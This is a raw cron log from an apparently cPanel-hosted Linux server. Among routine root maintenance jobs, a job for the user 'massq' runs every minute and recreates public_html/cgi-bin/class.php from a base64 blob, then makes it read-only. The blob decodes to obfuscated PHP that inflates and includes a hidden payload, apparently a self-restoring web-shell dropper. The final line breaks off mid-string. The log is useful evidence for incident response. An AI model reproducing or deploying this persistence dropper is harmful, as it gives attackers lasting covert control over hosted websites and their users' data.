Sep 13 00:05:01 server CROND[16182]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:05:01 server CROND[16184]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 00:05:01 server CROND[16181]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 13 00:05:01 server CROND[16185]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 00:05:01 server CROND[16183]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 00:05:01 server CROND[16186]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 13 00:05:01 server CROND[16188]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:05:01 server CROND[16187]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 13 00:06:01 server CROND[17020]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 00:06:01 server CROND[17021]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:06:01 server CROND[17022]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:07:01 server CROND[17397]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:07:01 server CROND[17399]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 00:07:01 server CROND[17398]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:08:01 server CROND[17774]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:08:01 server CROND[17775]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 00:08:01 server CROND[17776]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:09:01 server CROND[18148]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 00:09:01 server CROND[18149]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:09:01 server CROND[18150]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:09:01 server CROND[18151]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 13 00:10:01 server CROND[18636]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 13 00:10:01 server CROND[18637]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 13 00:10:01 server CROND[18638]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:10:01 server CROND[18645]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 00:10:01 server CROND[18647]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:10:01 server CROND[18646]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 00:10:01 server CROND[18651]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 00:10:01 server CROND[18648]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 13 00:11:01 server CROND[19480]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:11:01 server CROND[19481]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 00:11:01 server CROND[19482]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:12:01 server CROND[19869]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:12:01 server CROND[19870]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 00:12:01 server CROND[19872]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 13 00:12:01 server CROND[19871]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:13:01 server CROND[20322]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:13:01 server CROND[20321]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:13:01 server CROND[20323]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 00:14:01 server CROND[20687]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 00:14:01 server CROND[20688]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:14:01 server CROND[20689]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:15:01 server CROND[21170]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 00:15:01 server CROND[21171]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:15:01 server CROND[21173]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 00:15:01 server CROND[21172]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 13 00:15:01 server CROND[21180]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 00:15:01 server CROND[21182]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 13 00:15:01 server CROND[21186]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 13 00:15:01 server CROND[21189]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep 13 00:15:01 server CROND[21192]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:15:01 server CROND[21190]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 13 00:16:01 server CROND[22041]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:16:01 server CROND[22042]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKj